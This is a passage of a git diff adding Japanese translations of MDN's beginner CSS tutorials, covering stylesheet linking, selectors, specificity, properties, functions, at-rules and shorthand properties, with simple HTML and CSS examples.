+<p>HTML ドキュメントとおなじフォルダーにファイルをつくり、<code>styles.css</code> として保存してください。拡張子 <code>.css</code> となっているのが CSS ファイルです。</p> + +<p><code>styles.css</code> を <code>index.html</code> にリンクさせるには、HTML 文書にある {{htmlelement("head")}} 要素の中につぎのコードを追記してください:</p> + +<pre class="brush: html notranslate"><link rel="stylesheet" href="styles.css"></pre> + +<p>{{htmlelement("link")}} 要素はブラウザーに、スタイルシートがあること、<code>rel</code> 属性を使うこと、<code>href</code> 属性の値でスタイルシートのある場所を伝えます。<code>styles.css</code> に以下のルールを記述すれば、CSS が働くかテストできます。使っているコードエディターでつぎのコードを CSS ファイルに追記してください:</p> + +<pre class="brush: css notranslate">h1 { + color: red; +}</pre> + +<p>HTML ファイルと CSS ファイルを保存し、ブラウザーでこのページを再読み込みしてみましょう。文書の先頭にある見出し 1 が赤くなるはずです。もしそうなったら、おめでとうございます。CSS の HTML への適用に成功しました！ もしそうならなかったら、すべてを正しく入力しているか慎重に確認してください。</p> + +<p>あなたのコンピューターに保存した <code>styles.css</code> を使い続けても良いですし、このチュートリアルの下の方にあるインタラクティブエディターを使い続けることもできます。もし最初のパネルにある CSS が 上にある HTML 文書とリンクされているなら、インタラクティブエディターは動作します。</p> + +<h2 id="Styling_HTML_elements" name="Styling_HTML_elements">HTML 要素をスタイリングする</h2> + +<p>見出しを赤くすることで、HTML 要素に焦点をあてたスタイリングを試しました。<em><strong>要素セレクタ</strong>（</em>HTML の要素名を直接あてはめるセレクタ）に焦点をあてたのです。文書内のすべての段落に焦点をあてるなら、セレクタとして <code>p</code> を使うことができます。すべての段落を緑色にするために次を使います:</p> + +<pre class="brush: css notranslate">p { + color: green; +}</pre> + +<p>セレクタをカンマで区切ることによって、同時に複数のセレクタへ焦点をあてることができます。もしすべての段落とリストすべてを緑にしたければ、CSS のルールセットは次のようになります:</p> + +<pre class="brush: css notranslate">p, li { + color: green; +}</pre> + +<p>下にあるインタラクティブエディターのコードボックスを編集するか、コンピューターに保存された CSS ファイルを編集してこのルールセットを試してみてください。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p> + +<h2 id="Changing_the_default_behavior_of_elements" name="Changing_the_default_behavior_of_elements">要素の基本的なふるまいを変える</h2> + +<p>よくマークアップされた HTML 文書をみると、かんたんな例でさえ、基本的なスタイリングを加えることでブラウザーが HTML を読みやすくしているかがわかります。見出しは大きく太線になっているし、リストは箇条書きになっています。これはブラウザーがすべてのページにデフォルトで適用されるスタイルシートを含んでいるために起きます。それらがなければ、すべてのテキストがまとまって一緒に実行され、すべてを一からスタイリングしなければなりません。最新のブラウザーはすべて、ほぼ同じ方法をもちいて、デフォルトで HTML コンテンツを表示します。</p> + +<p>ブラウザーが選んだのとは別のスタイリングにしたい事もあるでしょう。これには単純に変更したい HTML 要素をえらび、CSS ルールを変更したい外観に変えるだけで可能です。よい例が <code><ul></code> 要素、つまり順番なしリストです。箇条書きの点がついていますが、もしこれが要らないと思ったら次のようにして削除することができます:</p> + +<pre class="brush: css notranslate">li { + list-style-type: none; +}</pre> + +<p>これをあなたの CSS に加えて試してみてください。</p> + +<p><code>list-style-type</code> プロパティはどんな値がサポートされているか MDN上で調べるのに適したプロパティです。<code><a href="/ja/docs/Web/CSS/list-style-type">list-style-type</a></code> のページをみるとページの上部に違うプロパティ値を試せる対話型の例があります。そしてページの下部には使えるプロパティ値が詳細に説明されています。</p> + +<p>このページをみると、どのようなものに変えられるか見つけられます。プロパティ値 <code>square</code> に変えてみてください。</p> + +<h2 id="Adding_a_class" name="Adding_a_class">クラスを加える</h2> + +<p>これまで、HTML 要素名をもとにしたスタイリングをしてきました。これは、文書内にあるその要素すべてをおなじ見ばえにしたいときには有効です。しかしそんな場合はほとんどないので、ほかを変えずに一部の要素だけを選ぶ方法を知っておく必要があります。もっとも一般的なのが、HTML 要素にクラスを追加し、それに焦点をあてる方法です。</p> + +<p>HTML 文書の 2番目のリストアイテムへ、こんな風に <a href="/ja/docs/Web/HTML/Global_attributes/class">class 属性</a>を加えてください:</p> + +<pre class="brush: html; highlight[3] notranslate"><ul> + <li>Item one</li> + <li class="special">二つ目の項目</li> + <li><em>三つ目</em>の項目</li> +</ul></pre> + +<p>ピリオドから始まるセレクタを作ることで、<code>special</code> クラス に焦点を当てることができます。以下を CSS に加えてください:</p> + +<pre class="brush: css notranslate">.special { + color: orange; + font-weight: bold; +}</pre> + +<p>保存してからブラウザーを更新し結果を見てみましょう。</p> + +<p>ページ上でおなじ見た目にしたいリストアイテムに対して <code>special</code> クラスを適用できます。たとえば、段落内にある<code><span></code> 要素にも同じく、オレンジの太字にしたいかもしれません。これにも <code>class</code> 属性の値として <code>special</code> を加えてみてください。上書き保存後にページを再読み込みして結果を確認してみましょう。</p> + +<p>HTML 要素セレクタに続けてクラスセレクタが記述されているのを時々見るかもしれません:</p> + +<pre class="brush: css notranslate">li.special { + color: orange; + font-weight: bold; +}</pre> + +<p>この構文は、「<code>special</code> クラスをもっている <code>li</code> 要素へ焦点をあてろ」という意味です。もしそうなっていたらもう、<code><span></code> 要素やほかに <code>special</code> クラスにした要素には適用できません。セレクタのリストに次を付け加える必要があります:</p> + +<pre class="brush: css notranslate">li.special, +span.special { + color: orange; + font-weight: bold; +}</pre> + +<p>いくつかのクラスがたくさんの要素に適用され、スタイリングが必要になる度に CSS を編集し続けることを望まないかもしれません。したがって、ある要素だけに特別なルールを作成し、他の要素に適用されないようにする場合を除き、要素をバイパスしてクラスを参照することが最善の場合があります。</p> + +<h2 id="Styling_things_based_on_their_location_in_a_document" name="Styling_things_based_on_their_location_in_a_document">文書内の場所に基づいてスタイリングする</h2> + +<p>文書のどこにあるかで見栄えを変えたい時があります。それを助けるセレクタはいくつかありますが、いまは 2種類だけ見てみましょう。HTML 文書には 2 つの <code><em></code> 要素があります — ひとつは段落の中に、もうひとつはリストアイテムの中に、です。<code><li></code> 要素の中にある <code><em></code> だけを選びたいとき、<strong>ディセンダント・コンビネーター</strong> と呼ばれるセレクタを使うことができます。これは２つの異なるセレクタのあいだにスペースを設けることで設置できます。</p> + +<p>CSS につぎのルールセットを追加してください。</p> + +<pre class="brush: css notranslate">li em { + color: rebeccapurple; +}</pre> + +<p>このセレクタは <code><li></code> 要素の中にある <code><em></code> 要素を選択します。よって HTML 文書の中で、3番目のリストアイテム内にある <code><em></code> 要素はパープルに変わっていますが、段落内にある <code><em></code> 要素は変更されていません。</p> + +<p>HTML ドキュメント内で、見出しの直後に来る段落を見出しとおなじ階層レベルにしたいと思うことがあるかもしれません。このときはセレクタ同士の間に <code>+</code> を入れます（<strong>adjacent sibling combinator</strong>：アジェイセント・シブリング・コンビネーター）。</p> + +<p>いま扱っている CSS につぎのルールセットを追加してみてください:</p> + +<pre class="brush: css notranslate">h1 + p { + font-size: 200%; +}</pre> + +<p>下のライブ例では、上に挙げた２つのルールセットが含まれています。ここに、段落内にある <code>span</code> 要素を赤くするルールセットを追加してください。正しくできれば第一段落の <code>span</code> 要素は赤くなり、最初のリストアイテムは色が変わらないはずです。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: ごらんの通り、CSS には要素に焦点をあてるための方法がいくつかあります。ここに挙げたのと、もっとたくさんのセレクタをこのコースの後にある<a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">セレクタ</a>の記事で見ていきます。</p> +</div> + +<h2 id="Styling_things_based_on_state" name="Styling_things_based_on_state">状態に基づいてスタイリングする</h2> + +<p>最後にこのチュートリアルで取り上げるのは、状態に基づいてスタイルを設定する方法です。かんたんな例はリンクのスタイリングです。リンクをスタイリングするとき、<code><a href="/ja/docs/Web/HTML/Element/a"><a></a></code> (anchor) 要素に焦点をあてる必要があります。リンクされたページを開いていなかったり、開いた後だったり、マウスの矢印を置いたり（ホバー）、キーボードで選択したり、クリックしたりといったように状態が変わります。こうしたさまざまな状態を CSS で選ぶことができます。— 以下だと、リンクされたページを開く前はピンクに、開いた後は緑になります。</p> + +<pre class="brush: css notranslate">a:link { + color: pink; +} + +a:visited { + color: green; +}</pre> + +<p>ユーザーがリンクの上にマウスの矢印を持っていく（ホバー）とリンクの見た目を変えるようにできます。たとえばつぎのルールセットだと、リンクの下線が消えます:</p> + +<pre class="brush: css notranslate">a:hover { + text-decoration: none; +}</pre> + +<p>下のライブ例では、プロパティ値をいろいろ変えることでさまざまなリンクの状態を試せます。すでに加えられているルールセットをみると、ピンクがとても明るくて読みづらいことがわかります。もっといい色に変えてみましょう。太字に変えられますか？</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p> + +<p>リンクをホバーすると下線が消えるようにしていますが、どんな状態でも下線が消えているようにできます。ただし実際のサイトでは、ページを見ている人に、リンクはリンクであることを知らせるのを忘れないようにしてください。下線を残すのは、ユーザーが慣れているように、テキスト内にリンクがあることを伝える重要な手掛かりになります。CSS にふくまれるあらゆるものには、変更によって文章を使いづらくするおそれがあることを強調しておきます。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: MDN の記事で、<a href="/ja/docs/Learn/Accessibility">アクセシビリティ</a> についての注意をたびたび目にするでしょう。これについて語る時は、ウェブページがどんな人にも理解でき、使えるものである必要性に言及しています。</p> + +<p>訪問者はマウス付きコンピューター やタッチスクリーン付き電話で見ているかもしれません。あるいはスクリーンリーダーで文章を読んでいることや、大きな文字をつかう必要があることや、キーボードだけを使っていることもあるでしょう。</p> + +<p>プレーンな HTML ドキュメントは一般的にあらゆる人に対してアクセシブルですので、スタイリングするときはアクセシビリティを下げないようにするのが大切です。</p> +</div> + +<h2 id="Combining_selectors_and_combinators" name="Combining_selectors_and_combinators">セレクタとコンビネーターを組み合わせる</h2> + +<p>複数のセレクタとコンビネーターを組み合わせることができます:</p> + +<pre class="brush: css notranslate">/* <article> 要素の内側にある <p> 要素の <span> 要素に焦点を当てるとき */ +article p span { ... } + +/* <h1> 要素の直後に来る <ul> 要素の、そのまた直後に来る <p> 要素に焦点を当てるとき */ +h1 + ul + p { ... }</pre> + +<p>複数の形のセレクタも組み合わせられます。以下のコードを CSS に追加してみてください:</p> + +<pre class="brush: css notranslate">body h1 + p .special { + color: yellow; + background-color: black; + padding: 5px; +}</pre> + +<p>これは <code><body></code> 要素の中にある <code><h1></code> 要素の直後に来た <code><p></code> 要素の中にある <code>special</code> クラスの要素をスタイリングします。</p> + +<p>HTML のうち、スタイルが適用されるのは <code><span class="special"></code> のみです。</p> + +<p>現時点では複雑に思えても心配しなくて大丈夫です。CSS を書いていくうちにすぐに理解できるようになります。</p> + +<h2 id="Wrapping_up" name="Wrapping_up">まとめ</h2> + +<p>このチュートリアルでは、CSS によるドキュメントのスタイル設定の仕方をいくつか見てきました。残りのレッスンでさらに深堀りしていきます。あたなはもうすでに、テキストのスタイリングや要素のさまざまな指定の仕方、さらには MDN ドキュメント内でのプロパティと値の調べ方といったことも理解したはずです。</p> + +<p>次のレッスンでは、CSS の構造を見ていきます。</p> + +<p>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュールの記事</h2> + +<ol> + <li><a href="/ja/docs/Learn/CSS/First_steps/What_is_CSS">CSS とは何か？</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_is_structured">CSS の全体像</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/How_CSS_works">CSS はどう働くか？</a></li> + <li><a href="/ja/docs/Learn/CSS/First_steps/Using_your_new_knowledge">新しい知識を使う</a></li> +</ol> diff --git a/files/ja/learn/css/first_steps/how_css_is_structured/index.html b/files/ja/learn/css/first_steps/how_css_is_structured/index.html new file mode 100644 index 0000000000..a9e2ae7130 --- /dev/null +++ b/files/ja/learn/css/first_steps/how_css_is_structured/index.html @@ -0,0 +1,530 @@ +--- +title: CSS の全体像 +slug: Learn/CSS/First_steps/How_CSS_is_structured +tags: + - Beginner + - CSS + - HTML + - Learn + - Selectors + - Structure + - comments + - properties + - shorthand + - values + - whitespace +translation_of: Learn/CSS/First_steps/How_CSS_is_structured +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/First_steps/Getting_started", "Learn/CSS/First_steps/How_CSS_works", "Learn/CSS/First_steps")}}</div> + +<p class="summary">CSS の概要と基本的な使い方について理解できたので、今度は CSS の構造をもう少し詳しく見てみましょう。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td>基本的なコンピュータリテラシー、 <a href="/ja/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアのインストール</a>、 基本的な <a href="/ja/Learn/Getting_started_with_the_web/Dealing_with_files">ファイル操作</a>、 HTML の基本 (<a href="/ja/docs/Learn/HTML/Introduction_to_HTML">HTML 入門</a>で学習)、<a href="/ja/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works">基本的な CSS の動作</a></td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>CSS の基本的な構文の構造を詳細に学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="Applying_CSS_to_HTML" name="Applying_CSS_to_HTML">CSS を HTML に適用する</h2> + +<p>まず、文書に CSS を適用する方法として、外部スタイルシートを使う方法、内部スタイルシートを使う方法、インラインスタイルを使う方法の3つの方法を見てみましょう。</p> + +<h3 id="External_stylesheet" name="External_stylesheet">外部スタイルシート</h3> + +<p>外部スタイルシートには <code>.css</code> という拡張子を持つ別のファイルに CSS が含まれています。これは、文書に CSS を持ち込む最も一般的で便利な方法です。1つの CSS ファイルを複数のウェブページにリンクして、すべてのウェブページを同じ CSS スタイルシートでスタイル付けすることができます。 <a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a>では、外部のスタイルシートをウェブページにリンクしました。</p> + +<p>HTML の <code><link></code> 要素から外部 CSS スタイルシートを参照しています。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> + <h1>Hello World!</h1> + <p>This is my first CSS example</p> + </body> +</html></pre> + +<p>CSS ファイルはこのようになります。</p> + +<pre class="brush: css notranslate">h1 { + color: blue; + background-color: yellow; + border: 1px solid black; +} + +p { + color: red; +}</pre> + +<p>{{htmlelement("link")}} 要素の <code>href</code> 属性は、ファイルシステム上のファイルを参照する必要があります。上の例では、 CSS ファイルは HTML 文書と同じフォルダーにありますが、どこか別の場所に配置してパスを調整することもできます。以下に 3 つの例を示します。</p> + +<pre class="brush: html notranslate"><!-- 現在のディレクトリの中の styles というサブディレクトリの中 --> +<link rel="stylesheet" href="styles/style.css"> + +<!-- カレントディレクトリの中にある styles というサブディレクトリの中にある、 general というサブディレクトリの中 --> +<link rel="stylesheet" href="styles/general/style.css"> + +<!-- ひとつ上のレベルのディレクトリに行き、その下にある styles というサブディレクトリの中 --> +<link rel="stylesheet" href="../styles/style.css"></pre> + +<h3 id="Internal_stylesheet" name="Internal_stylesheet">内部スタイルシート</h3> + +<p>内部スタイルシートは、 HTML 文書の中に配置します。内部スタイルシートを作成するには、 CSS を HTML 文書の {{htmlelement("head")}} の中にある {{htmlelement("style")}} 要素の中に入れてください。</p> + +<p>例えば、 HTML はこのようになります。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + <style> + h1 { + color: blue; + background-color: yellow; + border: 1px solid black; + } + + p { + color: red; + } + </style> + </head> + <body> + <h1>Hello World!</h1> + <p>This is my first CSS example</p> + </body> +</html></pre> + +<p>状況によっては、内部スタイルシートが便利な場合もあります。たとえば、コンテンツ管理システムを使用している場合、外部の CSS ファイルを変更することがブロックされているかもしれません。</p> + +<p>しかし、複数のページを持つサイトでは、内部スタイルシートは効率の悪い作業方法になります。内部スタイルシートを使用して、複数のページに統一された CSS スタイルを適用するには、そのスタイルを使用するすべてのウェブページに内部スタイルシートをコピーしなければなりません。効率性の低下はサイトの保守にも影響します。内部スタイルシートの CSS では、1 つの簡単なスタイル変更でも、複数のウェブページの編集が必要になるリスクがあります。</p> + +<h3 id="Inline_styles" name="Inline_styles">インラインスタイル</h3> + +<p>インラインスタイルは、単一の HTML 要素のみに影響を与える CSS 宣言で、 <code>style</code> 属性の中に記述します。 HTML 文書におけるインラインスタイルの実装は次のようになります。</p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>My CSS experiment</title> + </head> + <body> + <h1 style="color: blue;background-color: yellow;border: 1px solid black;">Hello World!</h1> + <p style="color:red;">This is my first CSS example</p> + </body> +</html></pre> + +<p><strong>この方法での CSS の使用は、可能な限り避けてください。</strong>まず、 CSS の実装の中では最も保守の効率が悪いものです。一つのスタイルを変更するために、一つのウェブページ内で複数の編集が必要になるかもしれません。第二に、インライン CSS はプレゼンテーション用のコードを HTML やコンテンツに混ぜてしまうため、すべてが読んだり理解したりしにくいものになってしまいます。コードとコンテンツを分離すれば、ウェブサイトで働くすべての人にとって保守が容易になります。</p> + +<p>インラインスタイルが一般的な状況はいくつかあります。作業環境が非常に制限されている場合は、インラインスタイルの使用に頼らざるを得ないかもしれません。例えば、 CMS では HTML の本文しか編集できない場合があります。また、できるだけ多くのメールクライアントとの互換性を実現するために、 HTML メールでインラインスタイルが多用されているのを見ることもあるでしょう。</p> + +<h2 id="Playing_with_the_CSS_in_this_article" name="Playing_with_the_CSS_in_this_article">CSS を試してみる</h2> + +<p>次の演習では、コンピューターにフォルダーを作成してください。フォルダーには好きな名前をつけてください。以下のテキストをコピーして、フォルダーの中に 2 つのファイルを作成してください。</p> + +<p><strong>index.html:</strong></p> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="en"> + <head> + <meta charset="utf-8"> + <title>My CSS experiments</title> + <link rel="stylesheet" href="styles.css"> + </head> + <body> + + <p>Create your test HTML here</p> + + </body> +</html></pre> + +<p><strong>styles.css:</strong></p> + +<pre class="brush: css notranslate">/* Create your test CSS here */ + +p { + color: red; +}</pre> + +<p>試してみたい CSS を見つけたら、 HTML の <code><body></code> の内容をスタイル付けする HTML に置き換え、テスト用の CSS コードを CSS ファイルに追加してください。</p> + +<p>別の方法として、以下のインタラクティブなエディターを使用することもできます。</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/experiment-sandbox.html", '100%', 800)}}</p> + +<p>楽しみながら、先に進んでいきましょう。</p> + +<h2 id="Selectors" name="Selectors">セレクター</h2> + +<p>セレクターは CSS に欠かせない構成要素です。<a href="/ja/docs/Learn/CSS/First_steps/Getting_started">CSS 入門</a>のチュートリアルでは、すでにさまざまな種類のセレクターを見てきました。セレクターは、 HTML 文書のなかでスタイルを適用する対象を指定するものです。もし CSS が期待通りにコンテンツに適用されなかったら、セレクターが一致すると思っていた方法で一致していないのかもしれません。</p> + +<p>それぞれの CSS 規則の先頭には、セレクターまたはセレクターのリストを書きます。これによって、ブラウザにどの要素にCSS規則を適用するかを指示します。次のコード例は、いずれも有効なセレクター、またはセレクターのリストです。</p> + +<pre class="brush: css notranslate">h1 +a:link +.manythings +#onething +* +.box p +.box p:first-child +h1, h2, .intro</pre> + +<p>上記のセレクターを使った CSS 規則を作ってみてください。セレクターによってスタイル付けされる HTML を追加します。上記の構文に馴染みのないものがあれば、 MDN を検索してみてください。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: 次のモジュールの記事 <a href="/ja/docs/Learn/CSS/Building_blocks/Selectors">CSS セレクター</a> で、セレクターについてより詳しく学ぶことができます。</p> +</div> + +<h3 id="Specificity" name="Specificity">詳細度</h3> + +<p>2 つのセレクターが同じ HTML 要素を選択するシナリオに遭遇するかもしれません。以下のスタイルシートを考えてみましょう。 <code>p</code> セレクターで段落のテキストを青に設定します。しかし、選択された要素のテキストを赤に設定するクラスもあります。</p> + +<pre class="brush: css notranslate">.special { + color: red; +} + +p { + color: blue; +}</pre> + +<p>HTML 文書の中に <code>special</code> のクラスを持つ段落があるとします。両方の規則が適用されます。どちらのセレクターが優先されるでしょうか？段落のテキストが青と赤のどちらになると思いますか？</p> + +<pre class="brush: html notranslate"><p class="special">What color am I?</p></pre> + +<p>CSS 言語には、競合が発生した場合にどちらのセレクターが強いかを制御するための規則があります。これらの規則は<ruby><strong>カスケード</strong><rp> (</rp><rt>cascade</rt><rp>) </rp></ruby>と<ruby><strong>詳細度</strong><rp> (</rp><rt>specificity</rt><rp>) </rp></ruby>と呼ばれています。以下のコードブロックでは、 <code>p</code> セレクターに対して2つの規則が定義されていますが、段落テキストは青くなります。これは、段落テキストを青に設定する宣言がスタイルシートの後に現れているからです。後のスタイルは、それより前のスタイルシートに現れた競合するスタイルを置き換えます。これが<strong>カスケード</strong>規則です。</p> + +<pre class="brush: css notranslate">p { + color: red; +} + +p { + color: blue; +}</pre> + +<p>しかし、クラスセレクターと要素セレクターの間に競合がある前の例では、クラスが優先され、赤い段落テキストがレンダリングされます。スタイルシートの後方に競合するスタイルが表示されているにもかかわらず、どうしてこのようなことが起こるのでしょうか？クラスは、要素セレクターよりも<strong>詳細度</strong>が高いことになっており、より具体的であると評価されるので、他の競合するスタイル宣言をキャンセルしたのです。</p> + +<p>この実験を自分でやってみましょう。 HTML を追加して、2つの <code>p { ... }</code> 規則をスタイルシートに追加します。次に、最初の <code>p</code> セレクターを <code>.special</code> に変更して、それがスタイルをどのように変えるかを見てみましょう。</p> + +<p>詳細度とカスケードの規則は、最初は複雑に見えるかもしれません。これらの規則は、 CSS に慣れてくると理解しやすくなります。次のモジュールの <a href="/ja/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">カスケードと継承</a> の章では、詳細度の計算方法を含めて詳しく説明しています。</p> + +<p>今のところ、詳細度が存在することを覚えておいてください。スタイルシートの他の何かがより高い詳細度を持っているために、 CSS が期待通りに適用されないことがあります。 1 つの要素に複数の規則が適用される可能性があることを認識することは、この種の問題を解決するための最初のステップです。</p> + +<h2 id="Properties_and_values" name="Properties_and_values">プロパティと値</h2> + +<p>もっとも基本的なレベルでは、 CSS は2つの部品でできています。</p> + +<ul> + <li><strong>プロパティ</strong>: スタイルに関して変更できる何らかの特徴をあらわす、人間が理解できる識別子です。例えば、 {{cssxref("font-size")}}, {{cssxref("width")}}, {{cssxref("background-color")}} などです。</li> + <li><strong>値</strong>: 各プロパティには値が割り当てられています。この値は、プロパティをどのようにスタイル付けするかを示します。</li> +</ul> + +<p>次の例では、一組のプロパティと値を強調表示しています。プロパティ名は <code>color</code> で、値は <code>blue</code> です。</p> + +<p><img alt="A declaration highlighted in the CSS" src="https://mdn.mozillademos.org/files/16498/declaration.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> + +<p>プロパティが値と組み合わせられているとき、この組み合わせを <ruby><em>CSS 宣言</em><rp> (</rp><rt>CSS declaration</rt><rp>) </rp></ruby>と呼びます。 CSS 宣言は <ruby><em>CSS 宣言ブロック</em><rp> (</rp><rt>CSS Declaration Blocks</rt><rp>) </rp></ruby>の中に入っています。次のコード例では CSS の宣言ブロックを強調しています。</p> + +<p><img alt="A highlighted declaration block" src="https://mdn.mozillademos.org/files/16499/declaration-block.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> + +<p>そして、 CSS 宣言ブロックは<em>セレクター</em>と組になって <em>CSS 規則セット</em> (または <em>CSS 規則</em>) になります。1つは <code>h1</code> セレクター用、もう1つは <code>p</code> セレクター用です。色付きのハイライトは <code>h1</code> 規則を識別します。</p> + +<p><img alt="The rule for h1 highlighted" src="https://mdn.mozillademos.org/files/16500/rules.png" style="border: 1px solid #cccccc; display: block; height: 218px; margin: 0 auto; width: 471px;"></p> + +<p>CSS プロパティを特定の値に設定することが、文書のレイアウトとスタイルを定義する主な方法です。 CSS エンジンは、どの宣言がページの各要素に適用されるかを計算します。</p> + +<div class="blockIndicator warning"> +<p><strong>重要:</strong> CSS のプロパティと値は大文字と小文字を区別します。それぞれのプロパティと値の組はコロン (<code>:</code>) で区切られます。</p> +</div> + +<p><strong>以下に挙げたプロパティの様々な値を調べてみてください。それぞれの HTML 要素にスタイルを適用する CSS 規則を書いてみてください。</strong></p> + + + +<ul> + <li><strong>{{cssxref("font-size")}}</strong></li> + <li><strong>{{cssxref("width")}}</strong></li> + <li><strong>{{cssxref("background-color")}}</strong></li> + <li><strong>{{cssxref("color")}}</strong></li> + <li><strong>{{cssxref("border")}}</strong></li> +</ul> + +<div class="warning"> +<p><strong>重要</strong>: プロパティが不明だった場合、または指定されたプロパティの値が妥当ではなかった場合は、宣言が<em>無効</em>なものとして扱われます。ブラウザーの CSS エンジンはこれを完全に無視します。</p> +</div> + +<div class="warning"> +<p><strong>重要</strong>: CSS (および他のウェブ標準) では、言語ごとに綴りに揺れがあったり確実でない場合には、アメリカ綴りを標準とすることが合意されています。例えば、 <code>color</code> は <code>color</code> と綴るべきであり、 <code>colour</code> では動作しません。</p> +</div> + +<h3 id="Functions" name="Functions">関数</h3> + +<p>ほとんどの値は比較的単純なキーワードや数値ですが、関数の形をとる値もあります。例として、<code>calc()</code> 関数があります。これは CSS 内で簡単な数式を行うことができます。</p> + +<div id="calc_example"> +<pre class="brush: html notranslate"><div class="outer"><div class="box">The inner box is 90% - 30px.</div></div></pre> + +<pre class="brush: css notranslate">.outer { + border: 5px solid black; +} + +.box { + padding: 10px; + width: calc(90% - 30px); + background-color: rebeccapurple; + color: white; +}</pre> +</div> + +<p>これは次のように表示されます。</p> + +<p>{{EmbedLiveSample('calc_example', '100%', 200)}}</p> + +<p>関数は、関数名と、関数に渡す値を囲む括弧で構成されています。上記の <code>calc()</code> の例では、値は、このボックスの幅を含むブロックの幅の 90% から 30 ピクセルを引いた値と定義しています。計算の結果は、事前に計算して静的な値として入力できるものではありません。</p> + +<p>他の例としては、 {{cssxref("transform")}} のさまざまな値、たとえば <code>rotate()</code> などがあります。</p> + +<div id="transform_example"> +<pre class="brush: html notranslate"><div class="box"></div></pre> + +<pre class="brush: css notranslate">.box { + margin: 30px; + width: 100px; + height: 100px; + background-color: rebeccapurple; + transform: rotate(0.8turn); +}</pre> +</div> + +<p>上記のコードの出力は次のようになります。</p> + +<p>{{EmbedLiveSample('transform_example', '100%', 200)}}</p> + +<p><strong>以下に挙げたプロパティのそれぞれの値を調べてみましょう。ぞれぞれの HTML 要素にスタイルを適用する CSS 規則を記述してみましょう。</strong></p> + +<ul> + <li><strong>{{cssxref("transform")}}</strong></li> + <li><strong>{{cssxref("background-image")}}、特に gradient の値</strong></li> + <li><strong>{{cssxref("color")}}、特に rgb/rgba/hsl/hsla の値</strong></li> +</ul> + +<h2 id="rules" name="rules">アット規則</h2> + +<p>CSS の<a href="/en-US/docs/Web/CSS/At-rule">アット規則</a> は、 CSS が実行すること、またはそれがどのように動作するべきかの指示を提供します。いくつかのアット規則は、キーワードと値だけのシンプルなものです。例えば、 <code>@import</code> はスタイルシートを別の CSS スタイルシートにインポートします。</p> + +<pre class="brush: css notranslate">@import 'styles2.css';</pre> + +<p>よく目にするであろうアット規則が <code>@media</code> があり、<a href="/ja/docs/Web/CSS/Media_Queries">メディアクエリ</a>を作成するために使用されます。メディアクエリは CSS スタイルを提供する条件を使用します。</p> + +<p>以下の例では、スタイルシートは <code><body></code> 要素に既定でピンクの背景を定義しています。しかし、ブラウザーのビューポートが 30em よりも広い場合は、青い背景を定義するメディアクエリが続いています。</p> + +<pre class="brush: css notranslate">body { + background-color: pink; +} + +@media (min-width: 30em) { + body { + background-color: blue; + } +}</pre> + +<p>これ以外のアット規則にも、これからのチュートリアルで遭遇するでしょう。</p> + +<p><strong>ビューポートの幅に基づいてスタイルを変更するメディアクエリを追加できるかどうかを確認してください。ブラウザーウィンドウの幅を変更して結果を確認してみてください。</strong></p> + +<h2 id="Shorthands" name="Shorthands">一括指定</h2> + +<p>{{cssxref("font")}}, {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}}, {{cssxref("margin")}} のようなプロパティは<ruby><strong>一括指定プロパティ</strong><rp> (</rp><rt>shorthand properties</rt><rp>) </rp></ruby>と呼ばれています。これは一括指定プロパティが複数の値を1行で設定するからです。</p> + +<p>例えば、コードのこの 1 行を見てください。</p> + +<pre class="brush: css notranslate">/* 4 つの値による一括定義、例えば padding や margin + では、値が適用される順序は top, right, bottom, left の順 (top から時計回り) です。 + 他の種類の一括指定もあり、例えば 2 つの値による一括指定を padding/margin に設定すると、 + top/bottom と left/right になります。*/ +padding: 10px 15px 15px 5px;</pre> + +<p>これは以下の 4 行のコードと同等です。</p> + +<pre class="brush: css notranslate">padding-top: 10px; +padding-right: 15px; +padding-bottom: 15px; +padding-left: 5px;</pre> + +<p>次の 1 行を見てください。</p> + +<pre class="brush: css notranslate">background: red url(bg-graphic.png) 10px 10px repeat-x fixed;</pre> + +<p>以下の 5 行と同等です。</p> + +<pre class="brush: css notranslate">background-color: red; +background-image: url(bg-graphic.png); +background-position: 10px 10px; +background-repeat: repeat-x; +background-attachment: fixed;</pre> + +<p>コースの後半では、他にも多くの一括指定プロパティの例に遭遇します。 MDN の <a href="/ja/docs/Web/CSS/Reference">CSS リファレンス</a>は、あらゆる一括指定プロパティについてのより詳しい情報を得るための良いリソースです。</p> + +<p><strong>自分の CSS の練習でこれらの前述) 使用してみて、それがどのように動作するかをよりよく理解するようにしてください。また、様々な値を使って実験してみてください。</strong></p> + +<div 